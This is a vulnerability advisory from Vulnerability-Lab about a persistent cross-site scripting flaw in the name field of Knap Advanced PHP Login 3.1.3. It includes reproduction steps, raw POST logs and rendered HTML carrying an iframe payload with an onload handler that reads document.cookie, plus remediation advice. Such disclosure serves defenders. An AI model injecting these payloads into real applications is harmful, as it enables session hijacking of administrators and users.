Knap Advanced PHP Login 3.1.3 Cross Site Scripting

Knap Advanced PHP Login version 3.1.3 suffers from a cross site scripting vulnerability.


SHA-256 | 614d92bacad275d4005a3277aea3306bf2224850a51e6f1260dfaec0f7ea72ca

Document Title:
===============
Knap (APL) v3.1.3 - Persistent Cross Site Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2307


Release Date:
=============
2022-10-10


Vulnerability Laboratory ID (VL-ID):
====================================
2307


Common Vulnerability Scoring System:
====================================
5.7


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Knap is an advanced User Management software written in Laravel 5.4 (PHP Framework) that allows the admin to manage users.



Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent cross site web vulnerability in the Knap Advanced PHP Login v3.1.3 user management web-application.


Affected Product(s):
====================
ajay138
Product: Knap Advanced PHP Login v3.1.3 - User Management (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2021-09-03: Researcher Notification & Coordination (Security Researcher)
2021-09-04: Vendor Notification (Security Department)
2022-**-**: Vendor Response/Feedback (Security Department)
2022-**-**: Vendor Fix/Patch (Service Developer Team)
2022-**-**: Security Acknowledgements (Security Department)
2022-10-10: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted Authentication (User Privileges)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Responsible Disclosure


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discoveredin the Knap Advanced PHP Login v3.1.3 user management web-application.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to web-application
requests from the application-side.

The persistent cross site web vulnerability is located in the name parameter of the Profile Account - Account Information module.
Remote attackers with ow privileged user accounts are able to inject own malicious script code as name to provoke an execution
of the malicious content inside the users and activity log backend modules. The request method to inject is post. The injection
points are the user create or update and the execution of the maliciou script code occurs in the activity log and users listings.

Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects
to malicious source and persistent manipulation of affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Register (Site)
[+] Update (Account Information)

Vulnerable Input(s):
[+] Name

Vulnerable Parameter(s):
[+] name

Affected Module(s):
[+] ./users
[+] ./activity


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by remote attackers with low privileged user account and low user interaction.
For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Register as user or get registered by the admin
2. Start your web browser and a session tamper or debug tools
3. Open the My Profile menu with the Profile Account information section
4. Change the name input to your script code test payload and save via submit (post)
Note: The injected payload executes successfully in the users list (backend) and within the activity log on history (backend) on preview by admins or mods
5. Successful reproduce of the persistent cross site scripting web vulnerability!


--- PoC Session Logs (POST [Inject via User Role by Profile Account Update|Create] ---
https://knap.froid.works/profiles/102
Host: knap.froid.works
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------73425417436906186553080920069
Content-Length: 29455
Origin:https://knap.froid.works
Connection: keep-alive
Referer:https://knap.froid.works/profile-edit
Cookie: laravel_session=eyJpdiI6Ikt4Zmd3WDVSeThObVlvbnZld1JadWc9PSIsInZhbHVlIjoiN3pubk1YaVwvaWp6aWF2QlNwb3l2T2
h5MzdHZjJUd0Y2em1mUXE4Q1wvZHhnbkhwUW1ZaDU3aytaWFNURk5pc1M4IiwibWFjIjoiM2UwMTg0MGQ0M2VjMDk0YTVkN2M0ZGVjOWM5NmI1NDMzYzUxODU5ZmVkNmNmZDJlMTc5ZmVlYThiNTlkODIxZCJ9
0=_&1=t&2=o&3=k&4=e&5=n&6==&7=S&8=B&9=0&10=q&11=T&12=5&13=b&14=O&15=B&16=k&17=R&18=w&19=d&20=n&21=U&22=J&23=M&24=A&25=z&26=g&27=B
&28=e&29=8&30=T&31=X&32=0&33=F&34=q&35=v&36=N&37=L&38=b&39=J&40=I&41=j&42=M&43=k&44=1&45=B&46=z&47=&&48=_&49=m&50=e&51=t&52=h
&53=o&54=d&55==&56=P&57=U&58=T&59=&&60=n&61=a&62=m&63=e&64==&65=P&66=i&67=p&68=p&69=o&70=%&71=2&72=2&73=%&74=3&75=E&76=%&77=3
&78=C&79=i&80=m&81=g&82=%&83=3&84=E&85=%&86=3&87=E&88=%&89=2&90=2&91=%&92=3&93=C&94=i&95=f&96=r&97=a&98=m&99=e&100=+&101=s
&102=r&103=c&104=%&105=3&106=D&107=e&108=v&109=i&110=l&111=.&112=s&113=o&114=u&115=r&116=c&117=e&118=+&119=o&120=n&121=l&122=o
&123=a&124=d&125=%&126=3&127=D&128=a&129=l&130=e&131=r&132=t&133=(&134='&135=P&136=W&137=N&138=D&139='&140=)&141=%&142=3
&143=E&144=%&145=3&146=C&147=%&148=2&149=F&150=i&151=f&152=r&153=a&154=m&155=e&156=%&157=3&158=E&159=&&160=t&161=y&162=p&163=e&164==&165=p&166=e&167=r&168=s&169=o&170=n&171=a&172=l&173=I&174=n&175=f&176=o
&177=&&178=e&179=m&180=a&181=i&182=l&183==&184=f&185=t&186=p&187=%&188=4&189=0&190=l&191=i&192=v&193=e&194=.&195=c&196=o
&197=m&198=&&199=d&200=o&201=b&202==&203=2&204=0&205=2&206=1&207=-&208=0&209=9&210=-&211=1&212=0&213=&&214=g&215=e&216=n&217=d&218=e&219=r&220==&221=m&222=a&223=l&224=e&225=&&226=c&227=u&228=s&229=t&230=o
&231=m&232=_&233=f&234=i&235=e&236=l&237=d&238=s&239=_&240=d&241=a&242=t&243=a&244=%&245=5&246=B&247=u&248=r&249=b&250=_
&251=1&252=%&253=5&254=D&255==&256=t&257=e&258=s
&259=t&260=e&_token=SB0qT5bOBkRwdnUJMAzgBe8TX0FqvNLbJIjMk1Bz&_method=PUT&name=Pippo"><img>>"<iframe src=evil.source onload=alert('PWND')></iframe>&type=personalInfo
&[email protected]&dob=2021-09-10&gender=male&custom_fields_data[urb_1]=teste
-
POST: HTTP/1.1 200 OK
Server: Apache/2.4.39 (Ubuntu)
Set-Cookie:
laravel_session=eyJpdiI6Ik1zbUliRHJrMjNqY2pPcDQ5aENtYVE9PSIsInZhbHVlIjoiRjVYTG9aNjJUTlwvbHJDZ2xQbUx6V1hTOFg2SnlWeTBDYW1HVHNVOEJ4bUR
KZ3ExMFVRcEE0bEI5OURMUm55RVciLCJtYWMiOiIzMzg2OTAyZTcyMDJmOGQ0ZWY5MWNjY2ZkZmRkOTA3NzA2NjI1NzViOWM5OWVlMzE0ZTZjMzhjMjRjMjE0N2VhIn0%3D;
expires=Fri, 10-Sep-2021 19:09:50 GMT; Max-Age=7200; path=/; httponly
Content-Length: 53
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json



--- PoC Session Logs (POST [Inject via Admin Role] ---
https://knap.froid.works/users/102
Host: knap.froid.works
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------23081715668612801831491484963
Content-Length: 39263
Origin:https://knap.froid.works
Connection: keep-alive
Referer:https://knap.froid.works/users
Cookie: laravel_session=eyJpdiI6IktJUUlXU21TZHZGRHdkNEczbGZwMXc9PSIsInZhbHVlIjoidlhcLzl3cU1UbHVwZFVDclhkXC9CZGdDNkh
XTEtlTnNmNWlWY3hwRzd3ZFNUcVI3R1plVHc1NE5tRUJoVmxobElQIiwibWFjIjoiODYyMmNiMjFlYTJjYzdkNGZkOTI2ZWQzYjg2M2U5OTA5NWI5NzVhYzExOWYzYTcwMTkyOTk1ZDMxOGRhNWE3OSJ9
0=_&1=t&2=o&3=k&4=e&5=n&6==&7=S&8=B&9=0&10=q&11=T&12=5&13=b&14=O&15=B&16=k&17=R&18=w&19=d&20=n&21=U&22=J&23=M&24=A&25=z&26=g&27=B&28=e&29=8&30=T&31=X&32=0&33=
F&34=q&35=v&36=N&37=L&38=b&39=J&40=I&41=j&42=M&43=k&44=1&45=B&46=z&47=&&48=_&49=m&50=e&51=t&52=h&53=o&54=d&55==&56=P&57=U&58=T&59=&&60=n&61=a&62=m&63=
e&64==&65=P&66=i&67=p&68=p&69=o&70=%&71=2&72=2&73=%&74=3&75=E&76=%&77=3&78=C&79=i&80=f&81=r&82=a&83=m&84=e&85=%&86=3&87=E&88=%&89=3&90=E&91=%&92=2&93=
2&94=%&95=3&96=C&97=i&98=f&99=r&100=a&101=m&102=e&103=+&104=s&105=r&106=c&107=%&108=3&109=D&110=e&111=v&112=i&113=l&114=.&115=s&116=o&117=u&118=r&119=
c&120=e&121=+&122=o&123=n&124=l&125=o&126=a&127=d&128=%&129=3&130=D&131=a&132=l&133=e&134=r&135=t&136=(&137=d&138=o&139=c&140=u&141=m&142=e&143=n&144=
t&145=.&146=c&147=o&148=o&149=k&150=i&151=e&152=)&153=%&154=3&155=E&156=%&157=3&158=C&159=%&160=2&161=F&162=i&163=f&164=r&165=a&166=m&167=e&168=%&169=3&170=E&171=&&172=e&173=m&174=a&175=i&176=l&177==&178=f&179=e&180=l&181=i&182=x&183=d&184=i&185=r&186=%&187=4&188=0&189=l&190=i&191=v&192=
e&193=.&194=c&195=o&196=m&197=&&198=d&199=o&200=b&201==&202=2&203=0&204=2&205=1&206=-&207=0&208=9&209=-&210=1&211=0&212=&&213=g&214=e&215=n&216=d&217=e&218=r&219==&220=m&221=a&222=l&223=e&224=&&225=p&226=a&227=s&228=s&229=w&230=o&231=r&232=
d&233==&234=&&235=x&236=C&237=o&238=o&239=r&240=d&241=O&242=n&243=e&244==&245=&&246=y&247=C&248=o&249=o&250=r&251=d&252=O&253=n&254=
e&255==&256=&&257=p&258=r&259=o&260=f&261=i&262=l&263=e&264=I&265=m&266=a&267=g&268=e&269=W&270=i&271=d&272=t&273=h&274==&275=&&276=
p&277=r&278=o&279=f&280=i&281=l&282=e&283=I&284=m&285=a&286=g&287=e&288=H&289=e&290=i&291=g&292=h&293=t&294==&295=&&296=c&297=u&298=
s&299=t&300=o&301=m&302=_&303=f&304=i&305=e&306=l&307=d&308=s&309=_&310=d&311=a&312=t&313=a&314=%&315=5&316=B&317=u&318=r&319=b&320=_&321=1&322=%&323=5&324=D&325==&326=a&327=s&328=d&329=a&330=&&331=s&332=t&333=a&334=t&335=u&336=s&337==&338=a&339=c&340=t&341=
i&342=v&343=e&_token=SB0qT5bOBkRwdnUJMAzgBe8TX0FqvNLbJIjMk1Bz&_method=PUT&name=Pippo"><img>>"<iframe src=evil.source onload=alert(document.cookie)></iframe>&[email protected]&dob=2021-09-10&gender=male&password=&image=&xCoordOne=&yCoordOne=&profileImageWidth=&profileImageHeight=&custom_fields_data[urb_1]=asda&status=active
-
POST: HTTP/1.1 200 OK
Server: Apache/2.4.39 (Ubuntu)
Set-Cookie:
laravel_session=eyJpdiI6IjdiMGZ5MHYzYklHbXpMS3FXK3ExTWc9PSIsInZhbHVlIjoid04yKzJWXC9wMzNEdVdheWJUVHNNS0c5VHQ3R2Y2OGpqY0U1a2VcLzRoM1
hIbzNrZDZCZk45SnhwRW5jTXhNMzNWIiwibWFjIjoiNDJmNGE3ZDgzMDU5Mzk5MjA0MzQwZWJhOGRkZTg0N2FmZWI0NGM4ZjNkZjg3M2Y1ZWNjNjQ2OTM1YTk3Y2UyOSJ9;
expires=Fri, 10-Sep-2021 18:52:58 GMT; Max-Age=7200; path=/; httponly
Content-Length: 53
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json


Vulnerable Source: ./users (knap.deleteAlert)
<table class="table table-striped table-bordered table-hover table-checkable order-column dataTable no-footer" id="users" role="grid" aria-describedby="users_info" style="width: 1568px;">
<thead>
<tr role="row"><th class="sorting" tabindex="0" aria-controls="users" rowspan="1" colspan="1" style="width: 57px;" aria-label="ID: activate to sort column ascending">ID</th>
<th class="sorting" tabindex="0" aria-controls="users" rowspan="1" colspan="1" style="width: 67px;" aria-label="Avatar: activate to sort column ascending">Avatar</th>
<th class="sorting_asc" tabindex="0" aria-controls="users" rowspan="1" colspan="1" style="width: 120px;" aria-label="Name: activate to sort column descending"
aria-sort="ascending">Name</th><th class="sorting" tabindex="0" aria-controls="users" rowspan="1" colspan="1" style="width: 257px;"
aria-label="Email: activate to sort column ascending">Email</th><th class="sorting" tabindex="0" aria-controls="users" rowspan="1" colspan="1"
style="width: 73px;" aria-label="Gender: activate to sort column ascending">Gender</th><th class="sorting_disabled" rowspan="1" colspan="1"
style="width: 258px;" aria-label="Roles">Roles</th><th class="sorting" tabindex="0" aria-controls="users" rowspan="1" colspan="1" style="width: 64px;"
aria-label="Status: activate to sort column ascending">Status</th><th class="sorting_disabled" rowspan="1" colspan="1" style="width: 323px;" aria-label="Actions">Actions</th></tr>
</thead>
<tbody>
<tr role="row" class="odd"><td>19</td><td><img src="https://www.gravatar.com/avatar/18228d88bbd04db784b489f7ad9402e0?d=mm&s=250" height="100px"></td>
<td class="sorting_1">Abdul Zboncak"><img>>"<iframe src=evil.source onload=alert(document.cookie)></iframe></td><td>[email protected]</td>
<td><span id="status19" class="label bg-blue disabled color-palette"> <i class="fa fa-male"></i> male</span></td><td><ul><li>Role Dashboard</li></ul></td><td><span class="label label-sm label-success">Active</span></td>
-
<a style="margin: 1px;" href="javascript:;" onclick="knap.deleteAlert('users','Are you sure you want to delete <strong>Abdul Zboncak"><img>>"<iframe src=evil.source onload=alert(document.cookie)></iframe>?
This action cannot be undone.',19)" class="btn btn-sm btn-danger red"><i class="fa fa-trash"></i> Delete</a>



Vulnerable Source: ./activity
<div class="portlet light bordered">
<div class="portlet-title">
<div class="caption font-dark">
<i class="icon-clock"></i>
<span class="caption-subject bold uppercase"> Activity Log </span>
</div>
<div class="actions">
</div></div>
<div class="portlet-body">
<div class="table-toolbar">
<div class="row">
<div class="col-md-6">
</div></div></div>
<div id="activity_wrapper" class="dataTables_wrapper no-footer"><div class="row"><div class="col-md-6 col-sm-6"><div class="dataTables_length" id="activity_length">
<label>Show <select name="activity_length" aria-controls="activity" class="form-control input-sm input-xsmall input-inline"><option value="10">10</option>
<option value="15">15</option><option value="20">20</option><option value="-1">All</option></select> records</label></div></div><div class="col-md-6 col-sm-6">
<div id="activity_filter" class="dataTables_filter"><label>Search:<input type="search" class="form-control input-sm input-small input-inline" placeholder=""
aria-controls="activity"></label></div></div><div id="activity_processing" class="dataTables_processing" style="display: none;">Processing...</div></div>
<div class="table-scrollable"><table class="table table-striped table-bordered table-hover order-column dataTable no-footer" id="activity" role="grid"
aria-describedby="activity_info" style="width: 1566px;">
<thead>
<tr role="row"><th class="sorting" tabindex="0" aria-controls="activity" rowspan="1" colspan="1" style="width: 61px;" aria-label="ID: activate to sort column
ascending">ID</th><th class="sorting" tabindex="0" aria-controls="activity" rowspan="1" colspan="1" style="width: 1093px;" aria-label="Message: activate to sort
column ascending">Message</th><th class="sorting_desc" tabindex="0" aria-controls="activity" rowspan="1" colspan="1" style="width: 266px;" aria-sort="descending"
aria-label="Log Time: activate to sort column ascending">Log Time</th></tr>
</thead>
<tbody>
<tr role="row" class="odd"><td>114</td><td>Admin updated role <strong>role-activity-log</strong> successfully</td><td class="sorting_1">Fri, Sep 10, 2021 5:03 PM</td></tr>
<tr role="row" class="even"><td>113</td><td>Admin updated role <strong>role-activity-log"><img>>"<iframe src=evil.source onload=alert(document.cookie)></iframe></strong>
successfully</td><td class="sorting_1">Fri, Sep 10, 2021 5:02 PM</td></tr><tr role="row" class="odd"><td>112</td><td>Admin updated user <strong>Abdul Zboncak</strong> successfully</td>
<td class="sorting_1">Fri, Sep 10, 2021 5:02 PM</td></tr><tr role="row" class="even"><td>111</td><td>Admin updated user
<strong>Abdul Zboncak"><img>>"<iframe src=evil.source onload=alert(document.cookie)></iframe></strong> successfully</td><td class="sorting_1">Fri, Sep 10, 2021 4:57 PM</td></tr>
<tr role="row" class="odd"><td>110</td><td>Admin deleted user <strong>a</strong> successfully</td><td class="sorting_1">Fri, Sep 10, 2021 4:57 PM</td></tr><tr role="row" class="even">
<td>109</td><td>Admin updated user <strong>a</strong> successfully</td><td class="sorting_1">Fri, Sep 10, 2021 4:57 PM</td></tr><tr role="row" class="odd"><td>108</td>
<td>Admin created user <strong>a"><img>>"<iframe src=evil.source onload=alert(document.cookie)></iframe></strong> successfully</td><td class="sorting_1">Fri, Sep 10, 2021 4:56 PM</td>
</tr><tr role="row" class="even"><td>107</td><td>Admin updated user <strong>Pippo</strong> successfully</td><td class="sorting_1">Fri, Sep 10, 2021 4:56 PM</td></tr>
<tr role="row" class="odd"><td>106</td><td>Admin updated user <strong>Pippo"><img>>"<iframe src=evil.source onload=alert(document.cookie)></iframe></strong>
successfully</td><td class="sorting_1">Fri, Sep 10, 2021 4:52 PM</td></tr><tr role="row" class="even"><td>105</td>
<td>Admin updated user <strong>Pippo>"<iframe src="evil.source" onload="alert(document.cookie)"></iframe></strong> successfully</td><td class="sorting_1">Fri, Sep 10, 2021 4:52 PM</td></tr></tbody>
</table></div><div class="row"><div class="col-md-5 col-sm-5"><div class="dataTables_info" id="activity_info"
role="status" aria-live="polite">Showing 1 to 10 of 100 records</div></div><div class="col-md-7 col-sm-7"><div class="dataTables_paginate paging_bootstrap_full_number"
id="activity_paginate"><ul class="pagination" style="visibility: visible;"><li class="prev disabled"><a href="#" title="First"><i class="fa fa-angle-double-left"></i></a>
</li><li class="prev disabled"><a href="#" title="Prev"><i class="fa fa-angle-left"></i></a></li><li class="active"><a href="#">1</a></li><li><a href="#">2</a></li>
<li><a href="#">3</a></li><li><a href="#">4</a></li><li><a href="#">5</a></li><li class="next"><a href="#" title="Next"><i class="fa fa-angle-right"></i></a></li>
<li class="next"><a href="#" title="Last"><i class="fa fa-angle-double-right"></i></a></li></ul></div></div></div></div>
</div>
</div>



Solution - Fix & Patch:
=======================
The persistent xss web vulnerability can be resolved by the following steps ...
1. Restrict the input fields of the name parameter to disallow special chars for the registration and update account information
2. Encode and escape the content of the name parameter to sanitize the registration and update account information
3. Sanitize and filter the output locations of the users and the activity log list modules


Credits & Authors:
==================
Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com
Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or
edit our material contact (admin@ or research@) to get a ask permission.

Copyright © 2022 | Vulnerability Laboratory - [Evolution Security GmbH]™



--
VULNERABILITY LABORATORY (VULNERABILITY LAB)
RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE


Related Posts